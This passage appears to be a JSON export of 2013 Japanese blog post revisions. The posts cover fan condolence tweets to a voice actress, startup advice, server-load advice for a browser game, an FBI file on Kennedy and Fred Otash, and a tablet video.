ブログ読ませてもらいました。\u0026#10;自分はペットがいないので亡くなるということはよく分かりませんが、悲しい気持ちは分かります。\u0026#10;もしイベントで掛けた言葉が浅倉さんの元気になったら幸いです。\u0026#10;最後に陽菜ちゃんのご冥福をお祈り申し上げます。\u003c/p\u003e\u0026mdash; 悠木@ハット (@ShootingYt) \u003ca href=\"https://twitter.com/ShootingYt/statuses/390313482400178176\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e お悔やみ申し上げます。\u0026#10;\u0026#10;陽菜ちゃんは、あなたの笑顔に沢山の元気をもらっていたかと思います。幸せに天寿を全う出来たはずです。\u0026#10;\u0026#10;これからも陽菜ちゃんの思い出と共に、変わらぬ笑顔でいて下さい。\u0026#10;\u0026#10;虹の向こうから、ずっと見守ってくれるでしょう。\u003c/p\u003e\u0026mdash; あずま@ミンゴス栃木参戦 (@azuma_higashi_p) \u003ca href=\"https://twitter.com/azuma_higashi_p/statuses/390313342327197696\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e 陽菜ちゃん残念です・・・\u0026#10;でもあずみんに大切に思われて幸せだったと思います!\u003c/p\u003e\u0026mdash; なーゆ (@na_yu11) \u003ca href=\"https://twitter.com/na_yu11/statuses/390312301833621504\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e 14日このような背景の中、僕を含め多くの人達にステキな笑顔を届けてくださったのですね。\u0026#10;ありがとうございます。\u0026#10;御自身ではダメ飼い主と仰ってますが、こんなにも想ってくれる飼い主で陽菜ちゃんも幸せだったと思いますよ。\u0026#10;安らかに眠るようお祈りしています。\u003c/p\u003e\u0026mdash; きぬたに@テンション高め (@kinutani_P) \u003ca href=\"https://twitter.com/kinutani_P/statuses/390311663120809986\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nこんなんなったら誰でも Twitter クライアントアンインストールしたくなりそう。","created_at":"2013-10-16T12:46:54.000Z","updated_at":"2013-10-16T12:46:54.000Z"},{"id":2518,"name":"text/Twitter について","body":"%blog%\r\n\r\n### 何がおきたか\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e髪を切りました。思い切り過ぎたような気がします。みじかーーい!これボブじゃなくてショートだよー(笑)\r\nでもさっぱりしました。\r\nさてさて、少しの間だけ、Twitterお休みさせて頂きます♪\r\nすぐ戻ると思うので、その時は宜しくお願いします^^\u003c/p\u003e— 浅倉杏美 (@asakura_azumi) \u003ca href=\"https://twitter.com/asakura_azumi/statuses/390452523489693696\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eごめんね!別に深刻な理由はまっったくないので安心してください!ちょっとばたばたしているので、Blogに専念しようかと♪\r\nちなみにかみのけは短いけど、シルエット変えてないからあんまり見た目変わらないです。ではでは(*^^*)\u003c/p\u003e— 浅倉杏美 (@asakura_azumi) \u003ca href=\"https://twitter.com/asakura_azumi/statuses/390453579552948224\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n### 前提となる知識\r\n浅倉杏美さんは Twitter を閲覧するのに iPhone 向けの公式クライアントを使用しています。つまり @ タブを開くとファンからの @ が全部見えているという状態です。もしかしたら push 通知されてきてるかもしれません。\r\n\r\n@ タブを一切見ていなかったという可能性は\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/yamazaki_haruka\"\u003e@yamazaki_haruka\u003c/a\u003e \u003ca href=\"https://twitter.com/fumiccho_sato\"\u003e@fumiccho_sato\u003c/a\u003e こらこら( ´ ▽ ` )ノ隠しきれない腐的なものが漏れてるぞ( ´ ▽ ` )ノ\u003c/p\u003e\u0026mdash; 浅倉杏美 (@asakura_azumi) \u003ca href=\"https://twitter.com/asakura_azumi/statuses/388496961164173312\"\u003eOctober 11, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nこちらの発言のように @ に対して反応していることがあるという事例からある程度否定できると考えられます。\r\n\r\nそして[先日ペットを亡くされるという出来事がありました](http://ameblo.jp/asakura-azumi/entry-11639198852.html)。\r\n\r\n### そして・・・\r\nhttps://twitter.com/search?q=to%3Aasakura_azumi%20%E9%99%BD%E8%8F%9C\u0026src=typd\u0026f=realtime\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログを拝見致しました。先ず亡くなられた御家族に対しまして、心よりの哀悼の意を捧げます。\r\n御辛い中でファンの皆さんに精一杯の笑顔を振りまかれて居られたのを知りますと、尚の事、浅倉さんには、ただ頭が下がる思いです。また、自分からも陽菜ちゃんに感謝を。\u003c/p\u003e— 碧海崎横府 (@emeralnadenade) \u003ca href=\"https://twitter.com/emeralnadenade/statuses/390406516299145216\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログ拝見しました。\r\n寂しいですね、ブログのひなちゃんのカテゴリを読んで少しですが陽菜ちゃんを想う時間を作りました。\r\nやっぱり可愛かったです。\r\n陽菜ちゃんのご冥福をお祈り申し上げます。\u003c/p\u003e— HANABI (@HANABI_123) \u003ca href=\"https://twitter.com/HANABI_123/statuses/390346091968745472\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e 最期まで共に過ごすことができて陽菜ちゃんも寂しい思いをせずに旅立てたかと思います。飼い主として、家族として立派に責任を果たされましたね。いつまでも皆さんの心の中に素敵な思い出が残りますよう願っております。\u003c/p\u003e— やまなし (@yamanashi3776) \u003ca href=\"https://twitter.com/yamanashi3776/statuses/390341199485087744\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログ更新お疲れ様です。\r\n陽菜ちゃん…心よりお悔やみを申し上げます。\r\n大切な家族で…本当に可愛がられ、幸せだったと思います。\r\nお辛い中で頑張って下さり、本当に言葉もありません。\r\n\r\nあの時のあずみんの笑顔は決して忘れません。\r\n\r\nありがとうございました。\u003c/p\u003e— Luna P@作家見習い (@lune_i) \u003ca href=\"https://twitter.com/lune_i/statuses/390323766560972800\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e 家族を失うのは本当に辛いですよね・・陽菜さんが浅倉さんの心の中にいつまでも生き続けられるようお祈り申し上げます。\u003c/p\u003e— もげる (@mogeru765) \u003ca href=\"https://twitter.com/mogeru765/statuses/390322238194335744\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e \r\n陽菜ちゃんのご冥福を心よりお祈りします\r\nその中での先日のイベント本当にありがとうございます\r\n泣いた分以上に笑えば陽菜ちゃんも喜ぶと思います\u003c/p\u003e— RenRin (@nakanoazusa0918) \u003ca href=\"https://twitter.com/nakanoazusa0918/statuses/390320173934067712\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログ読ませていただきました。家族を失う辛さは痛いほどわかります。きっと陽菜ちゃんは幸せだった思います。\u003c/p\u003e— ててててっちPPB (@kawane246) \u003ca href=\"https://twitter.com/kawane246/statuses/390317730512908288\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログ拝見させていただきました\r\n\r\n陽菜ちゃん 心からお悔やみ申し上げます。\r\n14日、お辛いなかで本当に頑張ってくださり、感謝の気持ちでいっぱいです。\r\n\r\n浅倉さんたちの家族の一員で、陽菜ちゃんも、とても幸せで素敵な日々だったと思います。\u003c/p\u003e— みなみ (@8_minami_8) \u003ca href=\"https://twitter.com/8_minami_8/statuses/390316736236752896\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e \r\n陽菜ちゃんはあずみんの笑顔が大好きだったんだと思います。そしてこれからも虹の向こうから見守っててくれてるはずです\r\n陽菜ちゃんの分もこれからもずっと笑顔でいてください!\u003c/p\u003e— かる(しうむ) (@klsum_765) \u003ca href=\"https://twitter.com/klsum_765/statuses/390316316738846721\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログ拝見しました。当たり前のように一緒に居た家族がいなくなってしまうのは本当に辛かったと思います。陽菜ちゃんのご冥福をお祈りします。\u003c/p\u003e— ミルねこP@ぬーさんに会いたい (@milneko_P) \u003ca href=\"https://twitter.com/milneko_P/statuses/390314963195002882\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e ブログ読ませてもらいました。\r\n自分はペットがいないので亡くなるということはよく分かりませんが、悲しい気持ちは分かります。\r\nもしイベントで掛けた言葉が浅倉さんの元気になったら幸いです。\r\n最後に陽菜ちゃんのご冥福をお祈り申し上げます。\u003c/p\u003e— 悠木@ハット (@ShootingYt) \u003ca href=\"https://twitter.com/ShootingYt/statuses/390313482400178176\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e お悔やみ申し上げます。\r\n\r\n陽菜ちゃんは、あなたの笑顔に沢山の元気をもらっていたかと思います。幸せに天寿を全う出来たはずです。\r\n\r\nこれからも陽菜ちゃんの思い出と共に、変わらぬ笑顔でいて下さい。\r\n\r\n虹の向こうから、ずっと見守ってくれるでしょう。\u003c/p\u003e— あずま@ミンゴス栃木参戦 (@azuma_higashi_p) \u003ca href=\"https://twitter.com/azuma_higashi_p/statuses/390313342327197696\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e 陽菜ちゃん残念です・・・\r\nでもあずみんに大切に思われて幸せだったと思います!\u003c/p\u003e— なーゆ (@na_yu11) \u003ca href=\"https://twitter.com/na_yu11/statuses/390312301833621504\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/asakura_azumi\"\u003e@asakura_azumi\u003c/a\u003e 14日このような背景の中、僕を含め多くの人達にステキな笑顔を届けてくださったのですね。\r\nありがとうございます。\r\n御自身ではダメ飼い主と仰ってますが、こんなにも想ってくれる飼い主で陽菜ちゃんも幸せだったと思いますよ。\r\n安らかに眠るようお祈りしています。\u003c/p\u003e— きぬたに@テンション高め (@kinutani_P) \u003ca href=\"https://twitter.com/kinutani_P/statuses/390311663120809986\"\u003eOctober 16, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nこんなんなったら誰でも Twitter クライアントアンインストールしたくなりそう。","created_at":"2013-10-16T12:49:34.000Z","updated_at":"2013-10-16T12:49:34.000Z"},{"id":2519,"name":"hoge:huga","body":"test","created_at":"2013-10-23T10:38:08.000Z","updated_at":"2013-10-23T10:38:08.000Z"},{"id":2520,"name":"text/小池陸とつつみともよという記事について","body":"%blog%\r\n\r\n[これの話](http://anond.hatelabo.jp/20130917140436)。\r\n\r\n最初に言及してるのが\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e“小池陸とつつみともよ” \u003ca href=\"http://t.co/9jVwl6WAiq\"\u003ehttp://t.co/9jVwl6WAiq\u003c/a\u003e\u003c/p\u003e\u0026mdash; こいけりく (@ttmtmy) \u003ca href=\"https://twitter.com/ttmtmy/statuses/394082039969746944\"\u003eOctober 26, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nなので、ものすごいエゴサーチしまくってるか自分で書いたかのどっちかだと思う。","created_at":"2013-10-27T04:41:48.000Z","updated_at":"2013-10-27T04:41:48.000Z"},{"id":2521,"name":"text/起業に成功するには何が必要か","body":"%blog%\r\n\r\n多くの親というのは子供を無条件で支援しますから(そうではない親もいます)、親が金持ちだったり会社経営の経験があったりで有効な支援をしてくれる場合わりと成功します。\r\n\r\n親が糞の役にも立たないと会社が潰れます。なので親が金持ちの場合親との関係を改善しておくと起業に成功しますし、親が貧乏の場合、親が金持ちの人間を探してきて仲間にするとよいです。","created_at":"2013-10-29T05:59:26.000Z","updated_at":"2013-10-29T05:59:26.000Z"},{"id":2522,"name":"text/退職しました","body":"%blog%\r\n\r\n![退職](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\n昨日、トレヴァー・フィリップス・インダストリーを退職しました。有給など残っていない為、今日から無職です。 2013 年 10 月 10 日に入社して以来、 3 週間ほど勤務致しました。\r\n\r\nトレヴァー、マイキー、フランクリンなどといった魅力的な人々に囲まれながら難しい業務もなんとかスキップせずにこなしてくることができました。周囲の人達がいなければこうは上手く仕事を進めることが出来なかったと思います。\r\n\r\n業務内容は様々な戦略物資の国際輸送、対立する企業との交渉(少々荒っぽいこともありました)、銀行や各種商店などとのやりとりなどです。\r\n\r\nそれにも関わらず退職するのは何故かというと、オンライン版が未だに提供されないにも関わらず当面の仕事を全て完了してしまったからで、要するにやる事がなくなったというわけです。実のところグローバル版も持っているのでこちらをやればオンラインに参入することは可能なのですがそれもちょっとめんどくさいので。\r\n\r\nというわけで無職になりました。かといって今更光の戦士になる必要も感じませんし、カロス地方ではメガ進化の謎を解き明かす人材が募集されていると聞きますが鋼フェアリーの鍵野郎がいたずらごころで電磁波を撃ってくるのがウザすぎてしょうがありませんし、モンスターを狩る仕事もいまいちしっくりきません。\r\n\r\nこんな私でも務められる仕事があれば、はてブのコメントとか Twitter とか Facebook とかで教えて頂ければと思います。\r\n\r\nよろしくお願いします。\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00B6ZBGVK\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00B20AG3S\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u003c1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n\r\n![trevor](http://ssig33.com/gyazo/62e59a7063cb34cee81224a6f3bcb3cd.png)","created_at":"2013-10-31T06:00:50.000Z","updated_at":"2013-10-31T06:00:50.000Z"},{"id":2523,"name":"text/テンプレートエンジンでJavaScript","body":"%blog% テンプレートエンジンでJavaScriptを動的生成する際のアンチパターン\r\n\r\nテンプレートエンジンで JavaScript を動的生成するのがアンチパターンなのでは","created_at":"2013-11-08T05:12:46.000Z","updated_at":"2013-11-08T05:12:46.000Z"},{"id":2524,"name":"text/艦これ早急にやったほうがいいこと","body":"%blog%\r\n\r\nメンテ明けに異常に重くなる問題は\r\n\r\n- Flash の配信が重すぎて Web サーバーが落ちている\r\n\r\nというのが主因のようなので\r\n\r\n- 静的ファイルの配信を nginx にする\r\n- Apache のチューニングをまじめにやる\r\n- 静的ファイルの配信に CDN を噛ませる\r\n\r\nというのをやるだけで一気に問題は解決するんじゃないかと思います。[DMM 側すら高負荷](http://tsuchinoko.dmmlabs.com/?p=883)という問題はあるので、ここまでやったところで段階開放をせざるを得ないのは変わらないのですが、 Flash がロードされないので開放されてるかどうかも分からないという状態からは改善するんじゃないかと。\r\n\r\n真面目に開発しろやタコどもが。","created_at":"2013-11-11T02:40:06.000Z","updated_at":"2013-11-11T02:40:06.000Z"},{"id":2525,"name":"text/艦これ早急にやったほうがいいこと","body":"%blog%\r\n\r\nメンテ明けに異常に重くなる問題は\r\n\r\n- Flash の配信が重すぎて Web サーバーが落ちている\r\n\r\nというのが主因のようなので\r\n\r\n- 静的ファイルの配信を nginx にする\r\n- Apache のチューニングをまじめにやる\r\n- 静的ファイルの配信に CDN を噛ませる\r\n\r\nというのをどれかやるだけで一気に問題は解決するんじゃないかと思います。[DMM 側すら高負荷](http://tsuchinoko.dmmlabs.com/?p=883)という問題はあるので、これをやったところで段階開放をせざるを得ないのは変わらないのですが、 Flash がロードされないので開放されてるかどうかも分からないという状態からは改善するんじゃないかと。\r\n\r\n真面目に開発しろやタコどもが。","created_at":"2013-11-11T02:45:19.000Z","updated_at":"2013-11-11T02:45:19.000Z"},{"id":2526,"name":"text/ケネディ没後 50 年","body":"%blog% ケネディ没後 50 年の今だからこそ読みたいこの文書\r\n\r\n![フレッド・オターシュとケネディ](http://ssig33.com/gyazo/e9dd81e6aeca61cf74e03e48f3050d18.png)\r\n\r\n[これ](http://vault.fbi.gov/Frank%20Sinatra/Frank%20Sinatra%20Part%2012%20of%2029)の 121 ページ目です。\r\n\r\nロサンジェルスの探偵フレッド・オターシュがジョン・フィッツジェラルド・ケネディ上院議員がフランク・シナトラ、ピーター・ローフォード、サミー・デイヴィス・ジュニアらと開いたセックスパーティーに娼婦を送り込んでいたこと、その娼婦は FBI の情報屋だったこと、フレッド・オターシュはそのようにケネディの仕事をする一方でケネディの醜聞を集め雑誌に売り飛ばす気でいたこと、などが分かる貴重な文書です。\r\n\r\nアメリカはこういうどうでもいい文書を大量に公開しているのが本当に最高だと思います。\r\n\r\n1960 年 11 月号のコンフィデンシャル誌を手に入れたいと思いもう何年も探しているのだがまだ入手できていない。","created_at":"2013-11-16T17:07:09.000Z","updated_at":"2013-11-16T17:07:09.000Z"},{"id":2527,"name":"text/ケネディ没後 50 年","body":"%blog% ケネディ没後 50 年の今だからこそ読みたいこの文書\r\n\r\n![フレッド・オターシュとケネディ](http://ssig33.com/gyazo/e9dd81e6aeca61cf74e03e48f3050d18.png)\r\n\r\n[これ](http://vault.fbi.gov/Frank%20Sinatra/Frank%20Sinatra%20Part%2012%20of%2029)の 121 ページ目です。この文書は FBI が公開している、[フランク・シナトラ](http://ja.wikipedia.org/wiki/%E3%83%95%E3%83%A9%E3%83%B3%E3%82%AF%E3%83%BB%E3%82%B7%E3%83%8A%E3%83%88%E3%83%A9)に対する内偵の記録の一部です。\r\n\r\nロサンジェルスの探偵フレッド・オターシュがジョン・フィッツジェラルド・ケネディ上院議員がフランク・シナトラ、ピーター・ローフォード、サミー・デイヴィス・ジュニアらと開いたセックスパーティーに娼婦を送り込んでいたこと、その娼婦は FBI の情報屋だったこと、フレッド・オターシュはそのようにケネディの仕事をする一方でケネディの醜聞を集め雑誌に売り飛ばす気でいたこと、などが分かる貴重な文書です。\r\n\r\nアメリカはこういうどうでもいい文書を大量に公開しているのが本当に最高だと思います。\r\n\r\n1960 年 11 月号のコンフィデンシャル誌を手に入れたいと思いもう何年も探しているのだがまだ入手できていません。\r\n\r\nなおこの「ケネディとフレッドが繋がっていたこと」が分かる文書は「ボビー・ケネディがフレッド・オターシュと手を組んで、マリリン・モンローを暗殺した」という陰謀論者が大好きな説に「若干の」確からしさを与えるものなので、弟ボビーの方がフレッドと面識があったのかというのが分かる文書がないかというのもずっと探しているのですが、こちらの調査も成果がでてません。\r\n\r\nこちらからは以上です。","created_at":"2013-11-16T17:09:44.000Z","updated_at":"2013-11-16T17:09:44.000Z"},{"id":2528,"name":"text/ケネディ没後 50 年","body":"%blog% ケネディ没後 50 年の今だからこそ読みたいこの文書\r\n\r\n![フレッド・オターシュとケネディ](http://ssig33.com/gyazo/e9dd81e6aeca61cf74e03e48f3050d18.png)\r\n\r\n[これ](http://vault.fbi.gov/Frank%20Sinatra/Frank%20Sinatra%20Part%2012%20of%2029)の 121 ページ目です。この文書は FBI が公開している、[フランク・シナトラ](http://ja.wikipedia.org/wiki/%E3%83%95%E3%83%A9%E3%83%B3%E3%82%AF%E3%83%BB%E3%82%B7%E3%83%8A%E3%83%88%E3%83%A9)に対する内偵の記録の一部です。\r\n\r\nロサンジェルスの探偵フレッド・オターシュがジョン・フィッツジェラルド・ケネディ上院議員がフランク・シナトラ、ピーター・ローフォード、サミー・デイヴィス・ジュニアらと開いたセックスパーティーに娼婦を送り込んでいたこと、その娼婦は FBI の情報屋だったこと、フレッド・オターシュはそのようにケネディの仕事をする一方でケネディの醜聞を集め雑誌に売り飛ばす気でいたこと、などが分かる貴重な文書です。\r\n\r\nこの報告のあて先がフ-ヴァー長官でもトルソン副長官でもなく[デローチ](http://en.wikipedia.org/wiki/Cartha_DeLoach)であるところも興味深い点です。現場の捜査官達が醜聞大好きホモカップルを煙たく思っていたことが伺えるのではないかと思っています。まあ 1960 年という年代を考えるとデローチからフーヴァーに話上がってた可能性はかなり高いんですが。\r\n\r\nアメリカはこういうどうでもいい文書を大量に公開しているのが本当に最高だと思います。\r\n\r\n1960 年 11 月号のコンフィデンシャル誌を手に入れたいと思いもう何年も探しているのだがまだ入手できていません。\r\n\r\nなおこの「ケネディとフレッドが繋がっていたこと」が分かる文書は「ボビー・ケネディがフレッド・オターシュと手を組んで、マリリン・モンローを暗殺した」という陰謀論者が大好きな説に「若干の」確からしさを与えるものなので、弟ボビーの方がフレッドと面識があったのかというのが分かる文書がないかというのもずっと探しているのですが、こちらの調査も成果がでてません。\r\n\r\nこちらからは以上です。","created_at":"2013-11-16T17:14:28.000Z","updated_at":"2013-11-16T17:14:28.000Z"},{"id":2529,"name":"text/ケネディ没後 50 年","body":"%blog% ケネディ没後 50 年の今だからこそ読みたいこの文書\r\n\r\n![フレッド・オターシュとケネディ](http://ssig33.com/gyazo/e9dd81e6aeca61cf74e03e48f3050d18.png)\r\n\r\n[これ](http://vault.fbi.gov/Frank%20Sinatra/Frank%20Sinatra%20Part%2012%20of%2029)の 121 ページ目です。この文書は FBI が公開している、[フランク・シナトラ](http://ja.wikipedia.org/wiki/%E3%83%95%E3%83%A9%E3%83%B3%E3%82%AF%E3%83%BB%E3%82%B7%E3%83%8A%E3%83%88%E3%83%A9)に対する内偵の記録の一部です。\r\n\r\nロサンジェルスの探偵フレッド・オターシュがジョン・フィッツジェラルド・ケネディ上院議員がフランク・シナトラ、ピーター・ローフォード、サミー・デイヴィス・ジュニアらと開いたセックスパーティーに娼婦を送り込んでいたこと、その娼婦は FBI の情報屋だったこと、フレッド・オターシュはそのようにケネディの仕事をする一方でケネディの醜聞を集め雑誌に売り飛ばす気でいたこと、などが分かる貴重な文書です。\r\n\r\nこの報告のあて先がフ-ヴァー長官でもトルソン副長官でもなく[デローチ](http://en.wikipedia.org/wiki/Cartha_DeLoach)であるところも興味深い点です。現場の捜査官達が醜聞大好きホモカップルを煙たく思っていたことが伺えるのではないかと思っています(ジョーンズ特別捜査官、たぶんこの時点ではデローチの部下ではないです)。まあ 1960 年という年代を考えるとデローチからフーヴァーに話上がってた可能性はかなり高いんですが。\r\n\r\nアメリカはこういうどうでもいい文書を大量に公開しているのが本当に最高だと思います。\r\n\r\n1960 年 11 月号のコンフィデンシャル誌を手に入れたいと思いもう何年も探しているのだがまだ入手できていません。\r\n\r\nなおこの「ケネディとフレッドが繋がっていたこと」が分かる文書は「ボビー・ケネディがフレッド・オターシュと手を組んで、マリリン・モンローを暗殺した」という陰謀論者が大好きな説に「若干の」確からしさを与えるものなので、弟ボビーの方がフレッドと面識があったのかというのが分かる文書がないかというのもずっと探しているのですが、こちらの調査も成果がでてません。\r\n\r\nこちらからは以上です。","created_at":"2013-11-16T17:16:59.000Z","updated_at":"2013-11-16T17:16:59.000Z"},{"id":2530,"name":"text/ケネディ没後 50 年","body":"%blog% ケネディ没後 50 年の今だからこそ読みたいこの文書\r\n\r\n![フレッド・オターシュとケネディ](http://ssig33.com/gyazo/e9dd81e6aeca61cf74e03e48f3050d18.png)\r\n\r\n[これ](http://vault.fbi.gov/Frank%20Sinatra/Frank%20Sinatra%20Part%2012%20of%2029)の 121 ページ目です。この文書は FBI が公開している、[フランク・シナトラ](http://ja.wikipedia.org/wiki/%E3%83%95%E3%83%A9%E3%83%B3%E3%82%AF%E3%83%BB%E3%82%B7%E3%83%8A%E3%83%88%E3%83%A9)に対する内偵の記録の一部です。\r\n\r\nロサンジェルスの探偵フレッド・オターシュがジョン・フィッツジェラルド・ケネディ上院議員がフランク・シナトラ、ピーター・ローフォード、サミー・デイヴィス・ジュニアらと開いたセックスパーティーに娼婦を送り込んでいたこと、その娼婦は FBI の情報屋だったこと、フレッド・オターシュはそのようにケネディの仕事をする一方でケネディの醜聞を集め雑誌に売り飛ばす気でいたこと、などが分かる貴重な文書です。\r\n\r\nこの報告のあて先がフ-ヴァー長官でもトルソン副長官でもなく[デローチ](http://en.wikipedia.org/wiki/Cartha_DeLoach)であるところも興味深い点です。現場の捜査官達が醜聞大好きホモカップルを煙たく思っていたことが伺えるのではないかと思っています(ジョーンズ特別捜査官、たぶんこの時点ではデローチの部下ではないです)。まあ 1960 年という年代を考えるとデローチからフーヴァーに話上がってた可能性はかなり高いんですが。\r\n\r\nアメリカはこういうどうでもいい文書を大量に公開しているのが本当に最高だと思います。\r\n\r\n1960 年 8 - 11 月号のコンフィデンシャル誌を手に入れたいと思いもう何年も探しているのだがまだ入手できていません。\r\n\r\nなおこの「ケネディとフレッドが繋がっていたこと」が分かる文書は「ボビー・ケネディがフレッド・オターシュと手を組んで、マリリン・モンローを暗殺した」という陰謀論者が大好きな説に「若干の」確からしさを与えるものなので、弟ボビーの方がフレッドと面識があったのかというのが分かる文書がないかというのもずっと探しているのですが、こちらの調査も成果がでてません。\r\n\r\nこちらからは以上です。","created_at":"2013-11-16T17:18:04.000Z","updated_at":"2013-11-16T17:18:04.000Z"},{"id":2531,"name":"text/Dell Venue 8 Pro を買った","body":"%blog%\r\n\r\nおそらく皆が気にしていることが全てつまっている動画を作成しました。\r\n\r\n\u003ciframe width=\"560\" height=\"315\" src=\"//www.youtube.com/embed/WBnJFVAHyoU#t=40s\" frameborder=\"0\" allowfullscreen\u003e\u003c/iframe\u003e","created_at":"2013-11-18T05:12:12.000Z","updated_at":"2013-11-18T05:12:12.000Z"},{"id":2532,"name":"text/Dell Venue 8 Pro を買った","body":"%blog%\r\n\r\nおそらく皆が気にしていることが全てつまっている動画を作成しました。\r\n\r\n\u003ciframe width=\"560\" height=\"315\" src=\"//www.youtube.com/embed/WBnJFVAHyoU\u0026start=40\" frameborder=\"0\" allowfullscreen\u003e\u003c/iframe\u003e","created_at":"2013-11-18T05:12:50.000Z","updated_at":"2013-11-18T05:12:50.000Z"},{"id":2533,"name":"text/Dell Venue 8 Pro を買った","body":"%blog%\r\n\r\nおそらく皆が気にしていることが全てつまっている動画を作成しました。\r\n\r\n\u003ciframe width=\"560\" height=\"315\" src=\"//www.youtube.com/embed/WBnJFVAHyoU?start=40\" frameborder=\"0\" 